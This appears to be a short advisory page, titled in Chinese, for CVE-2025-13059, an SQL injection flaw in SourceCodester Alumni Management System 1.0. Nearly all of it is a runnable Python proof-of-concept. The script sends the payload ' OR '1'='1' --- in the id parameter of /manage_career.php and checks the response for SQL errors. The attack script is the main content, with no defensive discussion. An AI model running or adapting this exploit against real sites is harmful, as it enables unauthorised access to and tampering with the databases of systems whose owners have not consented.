CVE-2025-13059 SourceCodester Alumni Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13059 SQL Injection PoC # Target: SourceCodester Alumni Management System 1.0 # File: /manage_career.php # Parameter: ID target_url = "http://target-site/manage_career.php" # Basic authentication bypass payload payload = "' OR '1'='1' ---" try: params = {'id': payload} response = requests.get(target_url, params=params, timeout=10) print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[!] Potential SQL injection vulnerability confirmed!") print("[!] Server response contains SQL-related errors") else: print("[*] Request completed, check response for anomalies") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") sys.exit(1)